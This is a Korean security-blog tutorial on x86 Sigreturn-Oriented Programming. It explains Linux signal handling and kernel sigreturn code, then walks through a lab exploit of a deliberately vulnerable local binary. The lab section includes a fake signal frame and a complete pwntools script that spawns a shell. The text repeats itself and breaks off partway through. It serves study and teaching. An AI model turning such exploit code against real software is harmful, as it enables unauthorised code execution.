SROP (Sigreturn-Oriented Programming) - x86
1. SROP ?
Sigreturn Oriented Programming 으로 sigreturn 시스템 콜을 이용하여 레지스터에 원하는 값을 저장하고 원하는 시스템 함수를 호출하는 공격기법이다. SROP 를 알아보기 전에 시그널에 대해 알아보자
2. 시그널 (Signal)
1. 시그널 (Signal)
운영체제는 크게 유저 모드(User Mode)와 커널 모드(Kernel Mode) 로 나뉘어진다.
유저 모드(User Mode)
- 일반 프로그램이 실행되는 제한된 권한의 모드
- 하드웨어 직접 접근 불가
- 중요한 시스템 자원 접근 제한됨
커널 모드(Kernel Mode)
- 운영체제 핵심 코드가 실행되는 특권 모드
- 모든 하드웨어와 시스템 자원에 접근 가능
- 시스템의 중요한 작업을 처리
프로그램을 실행하는 모든 작업은 유저 모드와 커널 모드가 서로 상호작용하면서 이뤄진다.
시그널(signal)은 프로세스에 특정 정보를 전달하는 매개체로, SIGSEGV (Segmentation fault) 또한 시그널이다.
→ 정확히는 Segmentation fault 에러가 발생하면 해당 프로세스에 SIGEGV 시그널을 보내게 된다.
시그널은 보통 커널이 받게 되고 다음과 같은 이벤트 종류가 있다.
- 하드웨어 예외가 발생한 경우
- 사용자가 시그널을 발생시키는 터미널 특수 문자 중 하나를 입력한 경우(ctrl + c, ctrl + z)
- 소프트웨어 이벤트가 발생한 경우
- 타이머 만료
- 파일 디스크립터에 입력이 발생
- 해당 프로세스의 자식 프로세스가 종료
리눅스에서는 다양한 시그널을 제공하는데, 리눅스 소스 코드에 정의된 시그널은 아래와 같다.
* +--------------------+------------------+
* | POSIX signal | default action |
* +--------------------+------------------+
* | SIGHUP | terminate |
* | SIGINT | terminate |
* | SIGQUIT | coredump |
* | SIGILL | coredump |
* | SIGTRAP | coredump |
* | SIGABRT/SIGIOT | coredump |
* | SIGBUS | coredump |
* | SIGFPE | coredump |
* | SIGKILL | terminate(+) |
* | SIGUSR1 | terminate |
* | SIGSEGV | coredump |
* | SIGUSR2 | terminate |
* | SIGPIPE | terminate |
* | SIGALRM | terminate |
* | SIGTERM | terminate |
* | SIGCHLD | ignore |
* | SIGCONT | ignore(*) |
* | SIGSTOP | stop(*)(+) |
* | SIGTSTP | stop(*) |
* | SIGTTIN | stop(*) |
* | SIGTTOU | stop(*) |
* | SIGURG | ignore |
* | SIGXCPU | coredump |
* | SIGXFSZ | coredump |
* | SIGVTALRM | terminate |
* | SIGPROF | terminate |
* | SIGPOLL/SIGIO | terminate |
* | SIGSYS/SIGUNUSED | coredump |
* | SIGSTKFLT | terminate |
* | SIGWINCH | ignore |
* | SIGPWR | terminate |
* | SIGRTMIN-SIGRTMAX | terminate |
* +--------------------+------------------+
* | non-POSIX signal | default action |
* +--------------------+------------------+
* | SIGEMT | coredump |
* +--------------------+------------------+
시그널은 생성되면 프로세스에 전달되고, 전달된 시그널의 종류에 따라 다음과 같은 동작이 실행된다
- 시그널 무시
- 프로세스 종료
- 코어 덤프 파일 생성 후 종료
- 프로세스 중지
- 프로세스 실행 재개
2. 시그널 동작 방식
시그널 핸들러(signal handler)는 유저 프로그램에서 signal(), sigaction() 등을 통해 핸들러 함수를 등록할 수 있다.
시그널이 발생하면 커널이 프로세스의 유저 스택에 시그널 프레임을 만들어놓고, 곧바로 핸들러 함수로 실행 흐름을 옮긴다.
→ 유저 코드가 실행 중일 때 시그널이 들어오면, 유저 코드 흐름이 시그널 핸들러 함수로 바뀌게 된다.
예제 코드를 통해 확인해보자
// Name: sig_alarm.c
// Compile: gcc -o sig_alarm sig_alarm.c
#include<stdio.h>
#include<unistd.h>
#include<signal.h>
#include<stdlib.h>
void sig_handler(int signum){
printf("sig_handler called.\n");
exit(0);
}
int main(){
signal(SIGALRM,sig_handler);
alarm(5);
getchar();
return 0;
}
signal 함수를 이용해 SIGALRM 시그널이 발생하면 sig_hander 함수를 호출한다.
프로세스에서 이 과정을 처리하는 것 같지만 SIGALRM 시그널이 발생하면 커널모드로 진입한다.
시그널을 커널 모드에서 처리하고 나서 유저모드로 돌아와서 프로세스를 실행한다.
→ 유저 모드의 상태(메모리, 레지스터)를 기억하고 되돌아올 수 있어야 한다.
커널 모드에서는 유저 모드로 되돌아가는 상황을 고려해 유저 프로세스의 상태를 저장하는 코드가 구현되어 있다.
3. do_signal()
do_signal 함수는 커널에서 시그널을 처리하기 위해 제일 먼저 호출되는 함수이다.
- 리눅스 커널 5.10 이하 버전 → arch_do_signal
- 상위 버전 → arch_do_signal_or_restart
void arch_do_signal_or_restart(struct pt_regs *regs, bool has_signal)
{
struct ksignal ksig;
if (has_signal && get_signal(&ksig)) {
/* Whee! Actually deliver the signal. */
handle_signal(&ksig, regs);
return;
}
/* Did we come from a system call? */
if (syscall_get_nr(current, regs) >= 0) {
/* Restart the system call - no handlers present */
switch (syscall_get_error(current, regs)) {
case -ERESTARTNOHAND:
case -ERESTARTSYS:
case -ERESTARTNOINTR:
regs->ax = regs->orig_ax;
regs->ip -= 2;
break;
case -ERESTART_RESTARTBLOCK:
regs->ax = get_nr_restart_syscall(regs);
regs->ip -= 2;
break;
}
}
/*
* If there's no signal to deliver, we just put the saved sigmask
* back.
*/
restore_saved_sigmask();
}
arch_do_signal_or_restart 함수이다.
시그널이 발생했다면 커널에서 시그널에 대한 정보를 인자로 get_signal() 함수를 호출하여 해당 시그널에 대한 정보를 가져온다
get_siganl() 함수에서는 signal handler 가 등록되어 있는지 확인한다.
→ signal handler 가 등록되어 있다면 시그널에 대한 정보와 레지스터 정보를 인자로 handle_signal() 함수를 호출한다.
4. handle_signal()
시그널이 발생하면 커널은 유저모드의 실행 상태(레지스터, 스택)를 시그널 프레임의 형태로 저장한다
→ 이 작업은 handle_signal() 함수에 의해서 수행된다
그럼 이제 handle_signal() 함수에 대해 알아보자
static void
handle_signal(struct ksignal *ksig, struct pt_regs *regs)
{
...
failed = (setup_rt_frame(ksig, regs) < 0);
if (!failed) {
fpu__clear_user_states(fpu);
}
signal_setup_done(failed, ksig, stepping);
}
handle_signal 함수의 일부이다.
1. 유저 모드 → 커널 모드
- 시그널이 발생하면 do_signal 함수에서 get_signal() 함수를 호출한다
- get_signal() 함수는 유저모드 signal handler 가 등록되어 있는지 확인하고
등록되어 있다면 handle_signal() 함수를 호출한다 - handle_signal() 함수는 setup_rt_frame() 함수를 통해 유저 스택에 올바른 시그널 프레임을 구성한다
2. 커널모드 → 유저 모드
- sigreturn() 시스템 콜이 호출되어 시그널 프레임에 기록된 값을 바탕으로 유저 모드의 상태로 복귀한다

2. Sigreturn
1. sigreturn
setup_rt_frame() 함수를 통해 유저 스택에 올바른 시그널 프레임을 구성한 뒤에 signal handler 명령을 수행한다
signal handler 는 프로그래머가 signal() 또는 sigaction() 함수를 통해 등록한 함수이다.
특정 시그널이 발생했을 때 기본동작 대신 원하는 동작을 수행하도록 만든다
signal handler 는 유저 모드에서 실행되며, 유저 모드의 코드 세그먼트에 포함된다
signal handler 가 종료되면 sigreturn() 시스템 콜이 호출되어 시그널 프레임에 기록된 값을 바탕으로 유저 모드의 상태로 복귀한다
→ 이 때 stack을 복원하기 위해 사용되는 함수가 restore_sigcontext 이다
restore_sigcontext 함수에 대해 알아보자
static bool restore_sigcontext(struct pt_regs *regs,
struct sigcontext __user *usc,
unsigned long uc_flags)
{
struct sigcontext sc;
/* Always make any pending restarted system calls return -EINTR */
current->restart_block.fn = do_no_restart_syscall;
if (copy_from_user(&sc, usc, offsetof(struct sigcontext, reserved1)))
return false;
regs->bx = sc.bx;
regs->cx = sc.cx;
regs->dx = sc.dx;
regs->si = sc.si;
regs->di = sc.di;
regs->bp = sc.bp;
regs->ax = sc.ax;
regs->sp = sc.sp;
regs->ip = sc.ip;
regs->r8 = sc.r8;
regs->r9 = sc.r9;
regs->r10 = sc.r10;
regs->r11 = sc.r11;
regs->r12 = sc.r12;
regs->r13 = sc.r13;
regs->r14 = sc.r14;
regs->r15 = sc.r15;
/* Get CS/SS and force CPL3 */
regs->cs = sc.cs | 0x03;
regs->ss = sc.ss | 0x03;
regs->flags = (regs->flags & ~FIX_EFLAGS) | (sc.flags & FIX_EFLAGS);
/* disable syscall checks */
regs->orig_ax = -1;
/*
* Fix up SS if needed for the benefit of old DOSEMU and
* CRIU.
*/
if (unlikely(!(uc_flags & UC_STRICT_RESTORE_SS) && user_64bit_mode(regs)))
force_valid_ss(regs);
return fpu__restore_sig((void __user *)sc.fpstate, 0);
}
restore_sigcontext() 함수는 copy_from_user() 함수를 이용하여 stack 에 저장된 값을 레지스터에 복사한다
→ 가젯이 없어도 sigreturn 함수를 이용해 레지스터에 원하는 값을 저장할 수 있다
코드를 살펴보면 sigcontext 구조체에 존재하는 각 멤버 변수에 있는 값을 레지스터에 넣는 것을 알 수 있다.
2. sigcontext
# ifdef __i386__
struct sigcontext {
__u16 gs, __gsh;
__u16 fs, __fsh;
__u16 es, __esh;
__u16 ds, __dsh;
__u32 edi;
__u32 esi;
__u32 ebp;
__u32 esp;
__u32 ebx;
__u32 edx;
__u32 ecx;
__u32 eax;
__u32 trapno;
__u32 err;
__u32 eip;
__u16 cs, __csh;
__u32 eflags;
__u32 esp_at_signal;
__u16 ss, __ssh;
struct _fpstate __user *fpstate;
__u32 oldmask;
__u32 cr2;
};
sigcontext 의 x86 아키텍처에 해당하는 구조체이다
코드를 살펴보면 레지스터 명칭을 가진 각각의 멤버 변수가 존재하는 것을 볼 수 있다.
→ 이 구조체를 통해 sigreturn() 함수에서 유저 모드의 레지스터와 스택을 복구한다
만약 공격자가 가짜 시그널 프레임(fake sigcontext)를 스택에 넣어두면
sigreturn() 호출 시 커널은 공격자가 만든 시그널 프레임을 불러오게 된다
→ 공격자가 레지스터의 값을 마음대로 조작할 수 있어 원하는 함수나 명령을 실행하도록 할 수 있다.
3. Exploit method
1. 코드 확인
SROP 는 sigreturn 시스템 콜을 이용한 ROP 기법이다.
sigreturn 시스템 콜을 호출하고 레지스터에 복사할 값을 미리 스택에 저장해 임의 코드를 실행할 수 있다.
→ 가젯이 없어도 모든 레지스터를 조작할 수 있다
// Name : srop32.c
// Compile : gcc -m32 -fno-stack-protector -z execstack -no-pie -o srop32 srop32.c -ldl
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
void vuln(){
char buf[50];
void (*printf_addr)() = dlsym(RTLD_NEXT, "printf");
printf("Printf() address : %p\n",printf_addr);
read(0, buf, 256);
}
void main(){
seteuid(getuid());
vuln();
}
BOF 가 일어나는 예제 코드로 실습해보자
checksec 으로 보호기법을 확인해보자
[*] '/home/gunp4ng/project/SF/srop/srop32'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
Partial RELO, NX-bit 보호기법이 걸려있는 것을 확인할 수 있다.
vuln 함수의 어셈블리를 확인해보자
Dump of assembler code for function vuln:
=> 0x080491b6 <+0>: push ebp
0x080491b7 <+1>: mov ebp,esp
0x080491b9 <+3>: push ebx
0x080491ba <+4>: sub esp,0x44
0x080491bd <+7>: call 0x80490f0 <__x86.get_pc_thunk.bx>
0x080491c2 <+12>: add ebx,0x2e3e
0x080491c8 <+18>: sub esp,0x8
0x080491cb <+21>: lea eax,[ebx-0x1ff8]
0x080491d1 <+27>: push eax
0x080491d2 <+28>: push 0xffffffff
0x080491d4 <+30>: call 0x8049090 <dlsym@plt>
0x080491d9 <+35>: add esp,0x10
0x080491dc <+38>: mov DWORD PTR [ebp-0xc],eax
0x080491df <+41>: sub esp,0x8
0x080491e2 <+44>: push DWORD PTR [ebp-0xc]
0x080491e5 <+47>: lea eax,[ebx-0x1ff1]
0x080491eb <+53>: push eax
0x080491ec <+54>: call 0x8049060 <printf@plt>
0x080491f1 <+59>: add esp,0x10
0x080491f4 <+62>: sub esp,0x4
0x080491f7 <+65>: push 0x100
0x080491fc <+70>: lea eax,[ebp-0x3e]
0x080491ff <+73>: push eax
0x08049200 <+74>: push 0x0
0x08049202 <+76>: call 0x8049050 <read@plt>
0x08049207 <+81>: add esp,0x10
0x0804920a <+84>: nop
0x0804920b <+85>: mov ebx,DWORD PTR [ebp-0x4]
0x0804920e <+88>: leave
0x0804920f <+89>: ret
End of assembler dump.
- buf : ebp - 0x3e
buf + SFP(66) 만큼 입력하면 RET 영역을 덮어씌울 수 있다
2. 공격 순서
- sigreturn() 함수를 이용해 레지스터에 원하는 값을 저장한다
- esp → sigreturn() 함수 호출 후 이동할 주소(int 0x80 명령어가 저장된 주소)
- ebx → "/bin/sh" 문자열이 저장된 주소
- eax → execve() 함수의 시스템 콜 번호 (11)
- eip → int 0x80 명령어가 저장된 주소
- cs → (user code) 0x23
- ss → (user data) 0x2b
- int 0x80 명령어 실행
32bit 환경에서 execve 시스템콜의 번호는 11 (0xb) 이다
sigcontext 구조체 형태로 stack 에 값을 저장할 때 cs, ss 레지스터에 대한 값을 설정해야 한다
32bit 운영체제에서는 0x73, 0x7b 가 사용된다.
64bit 운영체제에서 실행되는 32bit 프로그램의 경우에는 0x23, 0x2b 가 사용된다.
따라서 cs 는 0x23, ss는 0x2b 로 설정하면 된다
공격 순서를 코드로 표현을 하면 다음과 같다
sigreturn()
int 0x80
3. 필요한 정보 구하기
- __kernel_sigreturn() 함수의 주소
- "/bin/sh" 문자열이 저장된 영역
- int 0x80 가젯
위의 3개의 정보를 알아야 한다

리눅스 커널버전, 아키텍처에 따라 시스템콜 가젯의 위치가 달라진다
테스트 프로그램이 32bit 이기 때문에 sigreturn() 함수를 vdso 영역에서 구할 수 있다
먼저 __kernel_sigreturn 함수의 주소이다

__kernel_sigreturn 함수의 주소는 0xf7fc4560이다

__kernel_sigreturn 을 살펴보자
0xf7fc4560 주소를 사용할 경우 pop eax 가 포함되어 있기 때문에 호출 뒤에 임의의 값이 저장되어야 한다.
- __kernel_sigreturn + 4byte + sigcontext
0xf7fc4561 주소를 사용할 경우 mov eax, 0x77 명령어가 실행되기 때문에 호출 뒤에 sigcontext 가 저장되어야 한다
0x77 은 32비트에서 sigreturn 시스템 콜 번호이다.
- __kernel_sigreturn + sigcontext
__kernel_sigreturn 의 주소로 0xf7fc4561 을 사용하자
int 80 의 주소는 0xf7fc4566 이다

메모리 영역을 확인해보면 vdso 는 0xf7fc4000~0xf7fc6000 인 것을 알 수 있다
__kernel_sigreturn() 주소는 0xf7fc4560 로 vdso 영역에 있는 것을 볼 수 있다

"/bin/sh" 문자열이 저장된 주소는 0xf7f3e0d5 이다
4. sigcontext (fake signal frame) 구성
# ifdef __i386__
struct sigcontext {
__u16 gs, __gsh;
__u16 fs, __fsh;
__u16 es, __esh;
__u16 ds, __dsh;
__u32 edi;
__u32 esi;
__u32 ebp;
__u32 esp;
__u32 ebx;
__u32 edx;
__u32 ecx;
__u32 eax;
__u32 trapno;
__u32 err;
__u32 eip;
__u16 cs, __csh;
__u32 eflags;
__u32 esp_at_signal;
__u16 ss, __ssh;
struct _fpstate __user *fpstate;
__u32 oldmask;
__u32 cr2;
};
32bit 환경의 sigcontext 이다
위의 정보를 바탕으로 signal frame 을 구성해보자
payload += p32(0) #gs
payload += p32(0) #fs
payload += p32(0) #es
payload += p32(0) #ds
payload += p32(0) #edi;
payload += p32(0) #esi;
payload += p32(0) #ebp;
payload += p32(int80) #esp;
payload += p32(binsh) #ebx;
payload += p32(0) #edx;
payload += p32(0) #ecx;
payload += p32(0xb) #eax;
payload += p32(0) #trapno;
payload += p32(0) #err;
payload += p32(int80) #eip;
payload += p32(0x23) #cs
payload += p32(0) #eflags
payload += p32(0) #esp_at_signal
payload += p32(0x2b) #ss
- esp → sigreturn() 함수 호출 후 이동할 주소(int 0x80 명령어가 저장된 주소)
- ebx → "/bin/sh" 문자열이 저장된 주소
- eax → execve() 함수의 시스템 콜 번호 (11)
- eip → int 0x80 명령어가 저장된 주소
- cs → (user code) 0x23
- ss → (user data) 0x2b
필요한 레지스터만 설정하고 나머지는 오류를 방지하기 위해 0으로 설정해주었다
5. 페이로드 구성
from pwn import *
context.log_level = 'debug'
context(arch='i386', os='linux')
p = process('./srop32')
sigreturn = 0xf7fc4561
binsh = 0xf7f3e0d5
int80 = 0xf7fc4566
payload = b'\x90' * 66 # buf + SFP
payload += p32(sigreturn) # RET
payload += p32(0) #gs
payload += p32(0) #fs
payload += p32(0) #es
payload += p32(0) #ds
payload += p32(0) #edi;
payload += p32(0) #esi;
payload += p32(0) #ebp;
payload += p32(int80) #esp;
payload += p32(binsh) #ebx;
payload += p32(0) #edx;
payload += p32(0) #ecx;
payload += p32(0xb) #eax;
payload += p32(0) #trapno;
payload += p32(0) #err;
payload += p32(int80) #eip;
payload += p32(0x23) #cs
payload += p32(0) #eflags
payload += p32(0) #esp_at_signal
payload += p32(0x2b) #ss
# pause()
p.send(payload)
p.interactive()
작성한 페이로드는 다음과 같다

셸을 얻은 것을 확인할 수 있다
'Hacking > Pwnable' 카테고리의 다른 글
Stack Pivoting (0) | 2025.04.02 |
---|---|
SROP (x64) (0) | 2025.03.26 |
OOB(Out of Bound) (0) | 2025.03.18 |
Off by one (0) | 2025.03.17 |
PIE (0) | 2024.10.13 |
SROP (Sigreturn-Oriented Programming) - x86
1. SROP ?
Sigreturn Oriented Programming 으로 sigreturn 시스템 콜을 이용하여 레지스터에 원하는 값을 저장하고 원하는 시스템 함수를 호출하는 공격기법이다. SROP 를 알아보기 전에 시그널에 대해 알아보자
2. 시그널 (Signal)
1. 시그널 (Signal)
운영체제는 크게 유저 모드(User Mode)와 커널 모드(Kernel Mode) 로 나뉘어진다.
유저 모드(User Mode)
- 일반 프로그램이 실행되는 제한된 권한의 모드
- 하드웨어 직접 접근 불가
- 중요한 시스템 자원 접근 제한됨
커널 모드(Kernel Mode)
- 운영체제 핵심 코드가 실행되는 특권 모드
- 모든 하드웨어와 시스템 자원에 접근 가능
- 시스템의 중요한 작업을 처리
프로그램을 실행하는 모든 작업은 유저 모드와 커널 모드가 서로 상호작용하면서 이뤄진다.
시그널(signal)은 프로세스에 특정 정보를 전달하는 매개체로, SIGSEGV (Segmentation fault) 또한 시그널이다.
→ 정확히는 Segmentation fault 에러가 발생하면 해당 프로세스에 SIGEGV 시그널을 보내게 된다.
시그널은 보통 커널이 받게 되고 다음과 같은 이벤트 종류가 있다.
- 하드웨어 예외가 발생한 경우
- 사용자가 시그널을 발생시키는 터미널 특수 문자 중 하나를 입력한 경우(ctrl + c, ctrl + z)
- 소프트웨어 이벤트가 발생한 경우
- 타이머 만료
- 파일 디스크립터에 입력이 발생
- 해당 프로세스의 자식 프로세스가 종료
리눅스에서는 다양한 시그널을 제공하는데, 리눅스 소스 코드에 정의된 시그널은 아래와 같다.
* +--------------------+------------------+
* | POSIX signal | default action |
* +--------------------+------------------+
* | SIGHUP | terminate |
* | SIGINT | terminate |
* | SIGQUIT | coredump |
* | SIGILL | coredump |
* | SIGTRAP | coredump |
* | SIGABRT/SIGIOT | coredump |
* | SIGBUS | coredump |
* | SIGFPE | coredump |
* | SIGKILL | terminate(+) |
* | SIGUSR1 | terminate |
* | SIGSEGV | coredump |
* | SIGUSR2 | terminate |
* | SIGPIPE | terminate |
* | SIGALRM | terminate |
* | SIGTERM | terminate |
* | SIGCHLD | ignore |
* | SIGCONT | ignore(*) |
* | SIGSTOP | stop(*)(+) |
* | SIGTSTP | stop(*) |
* | SIGTTIN | stop(*) |
* | SIGTTOU | stop(*) |
* | SIGURG | ignore |
* | SIGXCPU | coredump |
* | SIGXFSZ | coredump |
* | SIGVTALRM | terminate |
* | SIGPROF | terminate |
* | SIGPOLL/SIGIO | terminate |
* | SIGSYS/SIGUNUSED | coredump |
* | SIGSTKFLT | terminate |
* | SIGWINCH | ignore |
* | SIGPWR | terminate |
* | SIGRTMIN-SIGRTMAX | terminate |
* +--------------------+------------------+
* | non-POSIX signal | default action |
* +--------------------+------------------+
* | SIGEMT | coredump |
* +--------------------+------------------+
시그널은 생성되면 프로세스에 전달되고, 전달된 시그널의 종류에 따라 다음과 같은 동작이 실행된다
- 시그널 무시
- 프로세스 종료
- 코어 덤프 파일 생성 후 종료
- 프로세스 중지
- 프로세스 실행 재개
2. 시그널 동작 방식
시그널 핸들러(signal handler)는 유저 프로그램에서 signal(), sigaction() 등을 통해 핸들러 함수를 등록할 수 있다.
시그널이 발생하면 커널이 프로세스의 유저 스택에 시그널 프레임을 만들어놓고, 곧바로 핸들러 함수로 실행 흐름을 옮긴다.
→ 유저 코드가 실행 중일 때 시그널이 들어오면, 유저 코드 흐름이 시그널 핸들러 함수로 바뀌게 된다.
예제 코드를 통해 확인해보자
// Name: sig_alarm.c
// Compile: gcc -o sig_alarm sig_alarm.c
#include<stdio.h>
#include<unistd.h>
#include<signal.h>
#include<stdlib.h>
void sig_handler(int signum){
printf("sig_handler called.\n");
exit(0);
}
int main(){
signal(SIGALRM,sig_handler);
alarm(5);
getchar();
return 0;
}
signal 함수를 이용해 SIGALRM 시그널이 발생하면 sig_hander 함수를 호출한다.
프로세스에서 이 과정을 처리하는 것 같지만 SIGALRM 시그널이 발생하면 커널모드로 진입한다.
시그널을 커널 모드에서 처리하고 나서 유저모드로 돌아와서 프로세스를 실행한다.
→ 유저 모드의 상태(메모리, 레지스터)를 기억하고 되돌아올 수 있어야 한다.
커널 모드에서는 유저 모드로 되돌아가는 상황을 고려해 유저 프로세스의 상태를 저장하는 코드가 구현되어 있다.
3. do_signal()
do_signal 함수는 커널에서 시그널을 처리하기 위해 제일 먼저 호출되는 함수이다.
- 리눅스 커널 5.10 이하 버전 → arch_do_signal
- 상위 버전 → arch_do_signal_or_restart
void arch_do_signal_or_restart(struct pt_regs *regs, bool has_signal)
{
struct ksignal ksig;
if (has_signal && get_signal(&ksig)) {
/* Whee! Actually deliver the signal. */
handle_signal(&ksig, regs);
return;
}
/* Did we come from a system call? */
if (syscall_get_nr(current, regs) >= 0) {
/* Restart the system call - no handlers present */
switch (syscall_get_error(current, regs)) {
case -ERESTARTNOHAND:
case -ERESTARTSYS:
case -ERESTARTNOINTR:
regs->ax = regs->orig_ax;
regs->ip -= 2;
break;
case -ERESTART_RESTARTBLOCK:
regs->ax = get_nr_restart_syscall(regs);
regs->ip -= 2;
break;
}
}
/*
* If there's no signal to deliver, we just put the saved sigmask
* back.
*/
restore_saved_sigmask();
}
arch_do_signal_or_restart 함수이다.
시그널이 발생했다면 커널에서 시그널에 대한 정보를 인자로 get_signal() 함수를 호출하여 해당 시그널에 대한 정보를 가져온다
get_siganl() 함수에서는 signal handler 가 등록되어 있는지 확인한다.
→ signal handler 가 등록되어 있다면 시그널에 대한 정보와 레지스터 정보를 인자로 handle_signal() 함수를 호출한다.
4. handle_signal()
시그널이 발생하면 커널은 유저모드의 실행 상태(레지스터, 스택)를 시그널 프레임의 형태로 저장한다
→ 이 작업은 handle_signal() 함수에 의해서 수행된다
그럼 이제 handle_signal() 함수에 대해 알아보자
static void
handle_signal(struct ksignal *ksig, struct pt_regs *regs)
{
...
failed = (setup_rt_frame(ksig, regs) < 0);
if (!failed) {
fpu__clear_user_states(fpu);
}
signal_setup_done(failed, ksig, stepping);
}
handle_signal 함수의 일부이다.
1. 유저 모드 → 커널 모드
- 시그널이 발생하면 do_signal 함수에서 get_signal() 함수를 호출한다
- get_signal() 함수는 유저모드 signal handler 가 등록되어 있는지 확인하고
등록되어 있다면 handle_signal() 함수를 호출한다 - handle_signal() 함수는 setup_rt_frame() 함수를 통해 유저 스택에 올바른 시그널 프레임을 구성한다
2. 커널모드 → 유저 모드
- sigreturn() 시스템 콜이 호출되어 시그널 프레임에 기록된 값을 바탕으로 유저 모드의 상태로 복귀한다

2. Sigreturn
1. sigreturn
setup_rt_frame() 함수를 통해 유저 스택에 올바른 시그널 프레임을 구성한 뒤에 signal handler 명령을 수행한다
signal handler 는 프로그래머가 signal() 또는 sigaction() 함수를 통해 등록한 함수이다.
특정 시그널이 발생했을 때 기본동작 대신 원하는 동작을 수행하도록 만든다
signal handler 는 유저 모드에서 실행되며, 유저 모드의 코드 세그먼트에 포함된다
signal handler 가 종료되면 sigreturn() 시스템 콜이 호출되어 시그널 프레임에 기록된 값을 바탕으로 유저 모드의 상태로 복귀한다
→ 이 때 stack을 복원하기 위해 사용되는 함수가 restore_sigcontext 이다
restore_sigcontext 함수에 대해 알아보자
static bool restore_sigcontext(struct pt_regs *regs,
struct sigcontext __user *usc,
unsigned long uc_flags)
{
struct sigcontext sc;
/* Always make any pending restarted system calls return -EINTR */
current->restart_block.fn = do_no_restart_syscall;
if (copy_from_user(&sc, usc, offsetof(struct sigcontext, reserved1)))
return false;
regs->bx = sc.bx;
regs->cx = sc.cx;
regs->dx = sc.dx;
regs->si = sc.si;
regs->di = sc.di;
regs->bp = sc.bp;
regs->ax = sc.ax;
regs->sp = sc.sp;
regs->ip = sc.ip;
regs->r8 = sc.r8;
regs->r9 = sc.r9;
regs->r10 = sc.r10;
regs->r11 = sc.r11;
regs->r12 = sc.r12;
regs->r13 = sc.r13;
regs->r14 = sc.r14;
regs->r15 = sc.r15;
/* Get CS/SS and force CPL3 */
regs->cs = sc.cs | 0x03;
regs->ss = sc.ss | 0x03;
regs->flags = (regs->flags & ~FIX_EFLAGS) | (sc.flags & FIX_EFLAGS);
/* disable syscall checks */
regs->orig_ax = -1;
/*
* Fix up SS if needed for the benefit of old DOSEMU and
* CRIU.
*/
if (unlikely(!(uc_flags & UC_STRICT_RESTORE_SS) && user_64bit_mode(regs)))
force_valid_ss(regs);
return fpu__restore_sig((void __user *)sc.fpstate, 0);
}
restore_sigcontext() 함수는 copy_from_user() 함수를 이용하여 stack 에 저장된 값을 레지스터에 복사한다
→ 가젯이 없어도 sigreturn 함수를 이용해 레지스터에 원하는 값을 저장할 수 있다
코드를 살펴보면 sigcontext 구조체에 존재하는 각 멤버 변수에 있는 값을 레지스터에 넣는 것을 알 수 있다.
2. sigcontext
# ifdef __i386__
struct sigcontext {
__u16 gs, __gsh;
__u16 fs, __fsh;
__u16 es, __esh;
__u16 ds, __dsh;
__u32 edi;
__u32 esi;
__u32 ebp;
__u32 esp;
__u32 ebx;
__u32 edx;
__u32 ecx;
__u32 eax;
__u32 trapno;
__u32 err;
__u32 eip;
__u16 cs, __csh;
__u32 eflags;
__u32 esp_at_signal;
__u16 ss, __ssh;
struct _fpstate __user *fpstate;
__u32 oldmask;
__u32 cr2;
};
sigcontext 의 x86 아키텍처에 해당하는 구조체이다
코드를 살펴보면 레지스터 명칭을 가진 각각의 멤버 변수가 존재하는 것을 볼 수 있다.
→ 이 구조체를 통해 sigreturn() 함수에서 유저 모드의 레지스터와 스택을 복구한다
만약 공격자가 가짜 시그널 프레임(fake sigcontext)를 스택에 넣어두면
sigreturn() 호출 시 커널은 공격자가 만든 시그널 프레임을 불러오게 된다
→ 공격자가 레지스터의 값을 마음대로 조작할 수 있어 원하는 함수나 명령을 실행하도록 할 수 있다.
3. Exploit method
1. 코드 확인
SROP 는 sigreturn 시스템 콜을 이용한 ROP 기법이다.
sigreturn 시스템 콜을 호출하고 레지스터에 복사할 값을 미리 스택에 저장해 임의 코드를 실행할 수 있다.
→ 가젯이 없어도 모든 레지스터를 조작할 수 있다
// Name : srop32.c
// Compile : gcc -m32 -fno-stack-protector -z execstack -no-pie -o srop32 srop32.c -ldl
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
void vuln(){
char buf[50];
void (*printf_addr)() = dlsym(RTLD_NEXT, "printf");
printf("Printf() address : %p\n",printf_addr);
read(0, buf, 256);
}
void main(){
seteuid(getuid());
vuln();
}
BOF 가 일어나는 예제 코드로 실습해보자
checksec 으로 보호기법을 확인해보자
[*] '/home/gunp4ng/project/SF/srop/srop32'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
Partial RELO, NX-bit 보호기법이 걸려있는 것을 확인할 수 있다.
vuln 함수의 어셈블리를 확인해보자
Dump of assembler code for function vuln:
=> 0x080491b6 <+0>: push ebp
0x080491b7 <+1>: mov ebp,esp
0x080491b9 <+3>: push ebx
0x080491ba <+4>: sub esp,0x44
0x080491bd <+7>: call 0x80490f0 <__x86.get_pc_thunk.bx>
0x080491c2 <+12>: add ebx,0x2e3e
0x080491c8 <+18>: sub esp,0x8
0x080491cb <+21>: lea eax,[ebx-0x1ff8]
0x080491d1 <+27>: push eax
0x080491d2 <+28>: push 0xffffffff
0x080491d4 <+30>: call 0x8049090 <dlsym@plt>
0x080491d9 <+35>: add esp,0x10
0x080491dc <+38>: mov DWORD PTR [ebp-0xc],eax
0x080491df <+41>: sub esp,0x8
0x080491e2 <+44>: push DWORD PTR [ebp-0xc]
0x080491e5 <+47>: lea eax,[ebx-0x1ff1]
0x080491eb <+53>: push eax
0x080491ec <+54>: call 0x8049060 <printf@plt>
0x080491f1 <+59>: add esp,0x10
0x080491f4 <+62>: sub esp,0x4
0x080491f7 <+65>: push 0x100
0x080491fc <+70>: lea eax,[ebp-0x3e]
0x080491ff <+73>: push eax
0x08049200 <+74>: push 0x0
0x08049202 <+76>: call 0x8049050 <read@plt>
0x08049207 <+81>: add esp,0x10
0x0804920a <+84>: nop
0x0804920b <+85>: mov ebx,DWORD PTR [ebp-0x4]
0x0804920e <+88>: leave
0x0804920f <+89>: ret
End of assembler dump.
- buf : ebp - 0x3e
buf + SFP(66) 만큼 입력하면 RET 영역을 덮어씌울 수 있다
2. 공격 순서
- sigreturn() 함수를 이용해 레지스터에 원하는 값을 저장한다
- esp → sigreturn() 함수 호출 후 이동할 주소(int 0x80 명령어가 저장된 주소)
- ebx → "/bin/sh" 문자열이 저장된 주소
- eax → execve() 함수의 시스템 콜 번호 (11)
- eip → int 0x80 명령어가 저장된 주소
- cs → (user code) 0x23
